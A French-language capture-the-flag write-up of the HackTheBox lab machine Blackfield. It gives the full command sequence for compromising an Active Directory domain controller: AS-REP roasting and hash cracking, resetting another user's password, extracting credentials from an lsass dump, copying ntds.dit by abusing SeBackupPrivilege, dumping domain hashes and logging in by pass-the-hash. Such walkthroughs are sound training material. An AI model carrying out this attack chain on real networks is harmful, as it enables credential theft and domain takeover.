white.h4t.eu

Ici c'est Linux, plaintext et pentest.

Blackfield HackTheBox

October 04, 2020 — ebsd

image-20200616153250811

Résumé

  • Connexion Anonyme un partage profiles$
  • Découverte d'une liste d'utilisateur basée sur une liste de répertoires
  • Génération d'un TGT pour un utilisateur valide
  • Casser le hash avec John
  • Connexion avec rpcclient, nous avons les permissions de réinitialiser un mot de passe
  • Réinitialisation du mot de passe du compte audit2020
  • Le compte audit2020 peut lire le partage forensic
  • Il contient un fichier lsass.zip correspondant à un dump mémoire du processus lsass.exe
  • Obtention des hashs des comptes administrator (mauvais hash) et svc_backup
  • Le compte svc_backup dispose du privilège SeBackupPrivilege, il permet de copier ntds.dit
  • Possibilité de dumper la base Active Directory ndts.dit
  • Obtention du hash Administrator

Recon

nmap

kali@kali:~/blackfield$ nmap -Pn -p- 10.10.10.192
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-13 12:16 EDT
Nmap scan report for 10.10.10.192
Host is up (0.075s latency).
Not shown: 65527 filtered ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
389/tcp  open  ldap
445/tcp  open  microsoft-ds
593/tcp  open  http-rpc-epmap
3268/tcp open  globalcatLDAP
5985/tcp open  wsman

ldapsearch

kali@kali:~/blackfield$ ldapsearch -x -h 10.10.10.192 -s base
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=BLACKFIELD,DC=local
ldapServiceName: BLACKFIELD.local:dc01$@BLACKFIELD.LOCAL
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 3
supportedLDAPVersion: 2
...
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=lo
 cal
serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configur
 ation,DC=BLACKFIELD,DC=local
schemaNamingContext: CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
namingContexts: DC=BLACKFIELD,DC=local
namingContexts: CN=Configuration,DC=BLACKFIELD,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
namingContexts: DC=DomainDnsZones,DC=BLACKFIELD,DC=local
namingContexts: DC=ForestDnsZones,DC=BLACKFIELD,DC=local
isSynchronized: TRUE
highestCommittedUSN: 184708
dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,
 CN=Sites,CN=Configuration,DC=BLACKFIELD,DC=local
dnsHostName: DC01.BLACKFIELD.local
defaultNamingContext: DC=BLACKFIELD,DC=local
currentTime: 20200614024518.0Z
configurationNamingContext: CN=Configuration,DC=BLACKFIELD,DC=local

smbclient

kali@kali:~/blackfield$ smbclient -L \\\\10.10.10.192
Unable to initialize messaging context
Enter WORKGROUP\kali's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        forensic        Disk      Forensic / Audit share.
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        profiles$       Disk      
        SYSVOL          Disk      Logon server share

Le dossier forensic n'est pas accessible

kali@kali:~/blackfield$ smbclient  //10.10.10.192/forensic
Enter WORKGROUP\roots password: 
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \>

Un autre dossier contient une arborescence de dossiers utilisateurs.

kali@kali:~/blackfield$ smbclient \\\\10.10.10.192\\profiles$ -U ""
Unable to initialize messaging context
Enter WORKGROUP\'s password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Jun  3 12:47:12 2020
  ..                                  D        0  Wed Jun  3 12:47:12 2020
  AAlleni                             D        0  Wed Jun  3 12:47:11 2020
  ABarteski                           D        0  Wed Jun  3 12:47:11 2020
  ABekesz                             D        0  Wed Jun  3 12:47:11 2020
  ABenzies                            D        0  Wed Jun  3 12:47:11 2020
...
  audit2020                           D        0  Wed Jun  3 12:47:11 2020
...
  support                             D        0  Wed Jun  3 12:47:12 2020
  svc_backup                          D        0  Wed Jun  3 12:47:12 2020
...

Je prends la liste des 315 users dans users.txt.

kali@kali:~/blackfield$ cat users.txt | wc -l
315

kali@kali:~/blackfield$ nmap -Pn -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=BLACKFIELD.LOCAL,userdb=users.txt 10.10.10.192
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-13 16:21 EDT
Nmap scan report for 10.10.10.192
Host is up (0.058s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users: 
| Discovered Kerberos principals
|     audit2020@BLACKFIELD.LOCAL
|_    svc_backup@BLACKFIELD.LOCAL

AP-REP Roasting

Il s'agit d'exploiter une faiblesse du protocole Kerberos qui se produit lors d'une authentification initial avec un KDC (Key Distribution Center).

Pendant cette phase initiale, un utilisateur demande un TGT (Ticket Granting Ticket) au KDC au moyen d'un paquet AS-REQ. Si le compte existe, le KDC retourne un TGT chiffré avec les crédentiels du compte utilisateur. De ce fait, seuls un utilisateur ou une machine possédant les crédentiels valident peuvent déchiffrer le ticket.

Ainsi tout utilisateur qui serait capable de faire une requête au KDC peut également demander un TGT pour n'importe quel utilisateur. Un attaquant peut recevoir un ticket chiffré qui peut évidemment être forcé (bruteforcé) hors ligne pour révéler le mot de passe du compte utilisateur. C'est très similaire, mais à ne pas confondre avec Kerberoasting.

Heureusement cette vulnérabilité est patchée par défaut sur tous les déploiements Active Directory : seul un compte qui a le mot de passe peut demander un TGT au KDC. Le client doit chiffrer un timestamp avec des crédentiels valides avant de l'envoyer au KDC.

Quand on créé un compte sur un Domain Controller, on peut s'affranchir de cette protection en activant l'option "Do not require Kerberos Preauthentication". Par défaut cette option est désactivée. Cependant, si le domaine contient des comptes avec cette option activée, un attaquant a la possibilité de forcer les mots de passe des comptes concernés.

Utiliser GetNPuser.py pour obtenir un tgt

https://www.tarlogic.com/en/blog/how-to-attack-kerberos/

Le script GetNPUsers.py peut être utilisé depuis une machine Linux dans le but de récolter les réponse non-preauth AS_REP.

kali@kali:~/blackfield$ GetNPUsers.py blackfield.local/ -usersfile users.txt -format hashcat -outputfile hashes.asreproast -dc-ip 10.10.10.192
Impacket v0.9.22.dev1+20200611.111621.760cb1ea - Copyright 2020 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
...
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
...
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set

On a le hash du compte support.

kali@kali:~/blackfield$ cat hashes.asreproast 
$krb5asrep$23$support@BLACKFIELD.LOCAL:8a4bc807c01099cd37198c419c0f6541$0171ea5c1d9cccdbfb6f7d7942fbbd553dab5bd5a724fcebe58c6aaa82a2b967a31f5441bafe3a4827a3c2acf92d686f43497828ac33000b98a823caa656e555dacb1173ecc866dbdcafef0a0f5a4a91b73ba60d15bd5282574f11363df3f65bd28b58308b099a19a8503779e2bc672897b74c948f0130b655c1787b2d93993508ff3281a49986591d54f1ccfc3e40564de65270215bb5bc66cbc8623351cfdde06f4f96ce4350814e8b12ebbaf0ca5e4c617efaf80b1913d52ad544fb7115bb63c856dbb962802f0a281617726a7f21b9adaf18edbb7512bf41ad1bebc3c358a55cf9a5748baf9ca9e68eccad203ec8f20a38f1

Pour casser le hash obtenu, j'utilise hashcat et une attaque par "dictionnaire".

kali@kali:~/blackfield$ hashcat -m 18200 --force -a 0 hashes.asreproast /usr/share/wordlists/rockyou.txt 
...
$krb5asrep$23$support@BLACKFIELD.LOCAL:8a4bc807c01099cd37198c419c0f6541$0171ea5c1d9cccdbfb6f7d7942fbbd553dab5bd5a724fcebe58c6aaa82a2b967a31f5441bafe3a4827a3c2acf92d686f43497828ac33000b98a823caa656e555dacb1173ecc866dbdcafef0a0f5a4a91b73ba60d15bd5282574f11363df3f65bd28b58308b099a19a8503779e2bc672897b74c948f0130b655c1787b2d93993508ff3281a49986591d54f1ccfc3e40564de65270215bb5bc66cbc8623351cfdde06f4f96ce4350814e8b12ebbaf0ca5e4c617efaf80b1913d52ad544fb7115bb63c856dbb962802f0a281617726a7f21b9adaf18edbb7512bf41ad1bebc3c358a55cf9a5748baf9ca9e68eccad203ec8f20a38f1:#00^BlackKnight
...

En moins de 3 minutes, le mot de passe du compte : #00^BlackKnight

Connexion Evil-Winrm impossible avec le compte support.

kali@kali:~/blackfield$ evil-winrm -i 10.10.10.192 -u blackfield\support -p#00^BlackKnight


kali@kali:~/blackfield$ smbclient \\\\10.10.10.192\\netlogon -U "blackfield\support"

En tant que support que puis-je faire ? Quels sont mes privilèges ?

kali@kali:~$ rpcclient -U "blackfield\support" 10.10.10.192
Enter BLACKFIELD\support's password: 

rpcclient $> enumpriv
command not found: enumpriv
rpcclient $> enumprivs
found 35 privileges

SeCreateTokenPrivilege          0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)
SeLockMemoryPrivilege           0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)
SeMachineAccountPrivilege               0:6 (0x0:0x6)
SeTcbPrivilege          0:7 (0x0:0x7)
SeSecurityPrivilege             0:8 (0x0:0x8)
SeTakeOwnershipPrivilege                0:9 (0x0:0x9)
SeLoadDriverPrivilege           0:10 (0x0:0xa)
SeSystemProfilePrivilege                0:11 (0x0:0xb)
SeSystemtimePrivilege           0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)
SeCreatePagefilePrivilege               0:15 (0x0:0xf)
SeCreatePermanentPrivilege              0:16 (0x0:0x10)
SeBackupPrivilege               0:17 (0x0:0x11)
SeRestorePrivilege              0:18 (0x0:0x12)
SeShutdownPrivilege             0:19 (0x0:0x13)
SeDebugPrivilege                0:20 (0x0:0x14)
SeAuditPrivilege                0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)
SeChangeNotifyPrivilege                 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege               0:24 (0x0:0x18)
SeUndockPrivilege               0:25 (0x0:0x19)
SeSyncAgentPrivilege            0:26 (0x0:0x1a)
SeEnableDelegationPrivilege             0:27 (0x0:0x1b)
SeManageVolumePrivilege                 0:28 (0x0:0x1c)
SeImpersonatePrivilege          0:29 (0x0:0x1d)
SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)
SeRelabelPrivilege              0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)
SeTimeZonePrivilege             0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)
rpcclient $>

On remarque que l'utilisateur dispose de privilèges importants, davantage que par défaut. Peut-il changer un mot de passe ? Comment ? https://malicious.link/post/2017/reset-ad-user-password-with-linux/

Je modifie le mot de passe du compte audit2020.

rpcclient $> setuserinfo2 audit2020 23 '@ud172020'

Le compte audit2020 est compromis ! Je peux maintenant accéder au contenu du dossier forensic.

kali@kali:~$ smbclient \\\\10.10.10.192\\forensic -U "blackfield\audit2020" 
Enter BLACKFIELD\audit2020's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Feb 23 08:03:16 2020
  ..                                  D        0  Sun Feb 23 08:03:16 2020
  commands_output                     D        0  Sun Feb 23 13:14:37 2020
  memory_analysis                     D        0  Thu May 28 16:28:33 2020
  tools                               D        0  Sun Feb 23 08:39:08 2020

                7846143 blocks of size 4096. 3661533 blocks available
smb: \>

De nouveaux fichiers, de nouvelles lectures :) Je télécharge tout.

smb: \> cd commands_output\
smb: \commands_output\> dir
  .                                   D        0  Sun Feb 23 13:14:37 2020
  ..                                  D        0  Sun Feb 23 13:14:37 2020
  domain_admins.txt                   A      528  Sun Feb 23 08:00:19 2020
  domain_groups.txt                   A      962  Sun Feb 23 07:51:52 2020
  domain_users.txt                    A    16454  Fri Feb 28 17:32:17 2020
  firewall_rules.txt                  A   518202  Sun Feb 23 07:53:58 2020
  ipconfig.txt                        A     1782  Sun Feb 23 07:50:28 2020
  netstat.txt                         A     3842  Sun Feb 23 07:51:01 2020
  route.txt                           A     3976  Sun Feb 23 07:53:01 2020
  systeminfo.txt                      A     4550  Sun Feb 23 07:56:59 2020
  tasklist.txt                        A     9990  Sun Feb 23 07:54:29 2020

                7846143 blocks of size 4096. 3676167 blocks available
smb: \commands_output\> mget *
Get file domain_admins.txt? y
getting file \commands_output\domain_admins.txt of size 528 as domain_admins.txt (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
Get file domain_groups.txt? y
getting file \commands_output\domain_groups.txt of size 962 as domain_groups.txt (1.1 KiloBytes/sec) (average 0.8 KiloBytes/sec)
Get file domain_users.txt? y
getting file \commands_output\domain_users.txt of size 16454 as domain_users.txt (23.8 KiloBytes/sec) (average 7.2 KiloBytes/sec)
Get file firewall_rules.txt? y
getting file \commands_output\firewall_rules.txt of size 518202 as firewall_rules.txt (310.8 KiloBytes/sec) (average 129.4 KiloBytes/sec)
Get file ipconfig.txt? y
getting file \commands_output\ipconfig.txt of size 1782 as ipconfig.txt (5.2 KiloBytes/sec) (average 119.9 KiloBytes/sec)
Get file netstat.txt? y
getting file \commands_output\netstat.txt of size 3842 as netstat.txt (7.3 KiloBytes/sec) (average 108.1 KiloBytes/sec)
Get file route.txt? y
getting file \commands_output\route.txt of size 3976 as route.txt (5.9 KiloBytes/sec) (average 96.0 KiloBytes/sec)
Get file systeminfo.txt? y
getting file \commands_output\systeminfo.txt of size 4550 as systeminfo.txt (4.5 KiloBytes/sec) (average 82.0 KiloBytes/sec)
Get file tasklist.txt? y
getting file \commands_output\tasklist.txt of size 9990 as tasklist.txt (6.4 KiloBytes/sec) (average 67.8 KiloBytes/sec)
smb: \commands_output\>

Fichier lsass.dmp

Un fichier très intéressant, il contiendrait peut être des identifiants capturés en mémoire.

image-20200616085833142

Le téléchargement du fichier est impossible. Erreur parallel_read returned NT_STATUS_IO_TIMEOUT. Je parviens tout de même à le télécharger en montant le share smb.

kali@kali:~$ sudo mount -t cifs //10.10.10.192/forensic /mnt/ -o user=audit2020
Password for audit2020@//10.10.10.192/forensic:  *********
kali@kali:~$ cp /mnt/memory_analysis/lsass.zip ./Blackfield/
kali@kali:~/Blackfield$ unzip lsass.zip 
Archive:  lsass.zip
  inflating: lsass.DMP               
kali@kali:~/Blackfield$

Installation de pypykatz

Pypykatz est le Mimikatz offline pour Linux.

git clone https://github.com/skelsec/pypykatz.git
sudo pip3 install minidump minikerberos aiowinreg msldap winsspi
cd pypykatz/
sudo python3 setup.py install

Et analyse le contenu de lsass.DMP. J'ai maintenant les hash de 2 comptes :

  • svc_backup : 9658d1d1dcd9250115e2205d9f48400d
  • administrator : 7f1e4ff8c6a8e6b6fcae2d9c0572cd62

La sortie est volontairement tronquée :

kali@kali:~/Blackfield$ sudo pypykatz lsa minidump lsass.DMP
INFO:root:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
        == MSV ==
                Username: svc_backup
                Domain: BLACKFIELD
                LM: NA
                NT: 9658d1d1dcd9250115e2205d9f48400d
                SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
        == WDIGEST [633ba]==
                username svc_backup
                domainname BLACKFIELD
                password None
        == SSP [633ba]==
                username 
                domainname 
                password None
        == Kerberos ==
                Username: svc_backup
                Domain: BLACKFIELD.LOCAL
                Password: None
        == WDIGEST [633ba]==
                username svc_backup
                domainname BLACKFIELD
                password None

...

== LogonSession ==
authentication_id 153705 (25869)
session_id 1
username Administrator
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T17:59:04.506080+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-500
luid 153705
        == MSV ==
                Username: Administrator
                Domain: BLACKFIELD
                LM: NA
                NT: 7f1e4ff8c6a8e6b6fcae2d9c0572cd62
                SHA1: db5c89a961644f0978b4b69a4d2a2239d7886368
        == WDIGEST [25869]==
                username Administrator
                domainname BLACKFIELD
                password None
        == SSP [25869]==
                username 
                domainname 
                password None
        == Kerberos ==
                Username: Administrator
                Domain: BLACKFIELD.LOCAL
                Password: None
        == WDIGEST [25869]==
                username Administrator
                domainname BLACKFIELD
                password None

Je tente une connexion, mais ce ne sera pas aussi simple :) Le mot de passe de Administrator a pu (et a dû) être renouvelé récemment.

kali@kali:~/Blackfield$ evil-winrm -i 10.10.10.192 -u administrator -H 7f1e4ff8c6a8e6b6fcae2d9c0572cd62

Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1

Connexion en tant que svc_backup

C'est ok en revanche avec le compte svc_backup

kali@kali:~/Blackfield$ evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami
blackfield\svc_backup
*Evil-WinRM* PS C:\Users\svc_backup\Documents>

Et le flag user.txt

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> cat user.txt
92cab391b2f2cac3e09435926ca4469d
*Evil-WinRM* PS C:\Users\svc_backup\Desktop>

Priv esc

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /all

USER INFORMATION
----------------

User Name             SID
===================== ==============================================
blackfield\svc_backup S-1-5-21-4194615774-2175524697-3563712290-1413


GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators                   Alias            S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Comment utiliser le privilège SeBackupPrivilege ?

L'utilisateur svc_backup peut réaliser des backups comme l'indique son nom et le privilège SeBackupPrivilege qu'il détient. Ma première idée est de copier ntdis.dit et obtenir le hash du compte Administrator.

Première tentative échouée car je n'ai pas les permissions.

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
 error 0x5(Access is denied.)
IFM media created successfully in c:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q

Il faut un moyen de lire un snapshot, puis de copier les fichiers de se snapshot. J'utilise diskshadow.exe

Je prépare un fichier shadow.txt

#File shadow.txt
set context persistent nowriters
set metadata c:\exfil\metadata.cab
add volume c: alias trophy
create
expose %someAlias% z:

Puis je le transferts sur la victime.

Invoke-WebRequest -Uri "http://10.10.14.2/shadow.txt" -OutFile "shadow.txt"

Le dernier caractère de la première ligne de mon fichier shadow.txt ne semble pas être lu. J'ai donc une erreur (nowriter au lieu de nowriterS).

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> diskshadow.exe /s shadow.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  6/16/2020 8:54:00 AM

-> set context persistent nowriter

SET CONTEXT { CLIENTACCESSIBLE | PERSISTENT [ NOWRITERS ] | VOLATILE [ NOWRITERS ] }

        CLIENTACCESSIBLE        Specify to create shadow copies usable by client versions of Windows.
        PERSISTENT              Specify that shadow copy is persist across program exit, reset or reboot.
        PERSISTENT NOWRITERS    Specify that shadow copy is persistent and all writers are excluded.
        VOLATILE                Specify that shadow copy will be deleted on exit or reset.
        VOLATILE NOWRITERS      Specify that shadow copy is volatile and all writers are excluded.

        Example: SET CONTEXT CLIENTACCESSIBLE

J'ajoute donc un caractère "C" à chaque fin de ligne.

kali@kali:~/Blackfield$ cat shadow.txt
set context persistent nowritersC
set metadata c:\exfil\metadata.cabC
add volume c: alias someAliasC
createC
expose %someAlias% z:C

Je transferts à nouveau et j'exécute diskshadow.exe

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> Invoke-WebRequest -Uri "http://10.10.14.2/shadow.txt" -OutFile "shadow.txt"
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> diskshadow.exe /s shadow.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  6/16/2020 9:00:04 AM

-> set context persistent nowriters
-> set metadata c:\exfil\metadata.ca
-> add volume c: alias someAlias
-> create
Alias someAlias for shadow ID {d52a9a78-73aa-4e90-817a-402f13fa02e1} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {df02dfa1-22a1-4765-8c71-e7bbf320f5f6} set as environment variable.

Querying all shadow copies with the shadow copy set ID {df02dfa1-22a1-4765-8c71-e7bbf320f5f6}

        * Shadow copy ID = {d52a9a78-73aa-4e90-817a-402f13fa02e1}               %someAlias%
                - Shadow copy set: {df02dfa1-22a1-4765-8c71-e7bbf320f5f6}       %VSS_SHADOW_SET%
                - Original count of shadow copies = 1
                - Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
                - Creation time: 6/16/2020 9:00:08 AM
                - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
                - Originating machine: DC01.BLACKFIELD.local
                - Service machine: DC01.BLACKFIELD.local
                - Not exposed
                - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                - Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %someAlias% z:
-> %someAlias% = {d52a9a78-73aa-4e90-817a-402f13fa02e1}
The shadow copy was successfully exposed as z:\.

Je n'ai toujours pas accès au fichier ntds.dit. Normal.

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> cp z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
Access to the path 'z:\windows\ntds\ntds.dit' is denied.

Il faut un moyen de copier en utilisant notre privilège SeBackupPriv. Il suffit d'utiliser 2 DLL ici : https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

kali@kali:~/Blackfield$ wget https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll?raw=true
kali@kali:~/Blackfield$ wget https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll?raw=true

Et sur la victime j'upload les 2 DLL directement grâce è Evil-Winrm.

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> upload SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> upload SeBackupPrivilegeUtils.dll

Voilà on peut désormais utiliser notre privilège SeBackupPrivilege.

*Evil-WinRM* PS C:\exfil> Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\exfil\ntds.dit

Pour la suite, on aura aussi besoin de :

*Evil-WinRM* PS C:\exfil> reg save HKLM\SYSTEM c:\exfil\system

On télécharge sur notre machine attaquant :

*Evil-WinRM* PS C:\exfil> download system
*Evil-WinRM* PS C:\exfil> download ntds.dit

Dump des NTLM depuis les fichiers ntds.dit et system

Je dump les hashs ntlm.

kali@kali:~/Blackfield$ secretsdump.py -ntds ntds.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:65557f7ad03ac340a7eb12b9462f80d6:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:c95ac94a048e7c29ac4b4320d7c9d3b5:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
BLACKFIELD.local\BLACKFIELD764430:1105:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
...

Reste à se connecter en admin à l'aide du hash découvert.

kali@kali:~/Blackfield$ evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
4375a629c7c67c8e29db269060c955cb
*Evil-WinRM* PS C:\Users\Administrator\desktop>

Plus loin

On peut vérifier que le compte support est bien "vulnérable" à l'attaque AR-REP Roasting. DoesNotRequirePreAuth est bien activé.

*Evil-WinRM* PS C:\Users\Administrator\Desktop> get-aduser support -prop DoesNotRequirePreAuth

DistinguishedName     : CN=support,CN=Users,DC=BLACKFIELD,DC=local
DoesNotRequirePreAuth : True
Enabled               : True
GivenName             :
Name                  : support
ObjectClass           : user
ObjectGUID            : ae4911cf-203d-443d-96f8-1b8d7b250d3e
SamAccountName        : support
SID                   : S-1-5-21-4194615774-2175524697-3563712290-1104
Surname               :
UserPrincipalName     :

Tags: HackTheBox

Comments? Tweet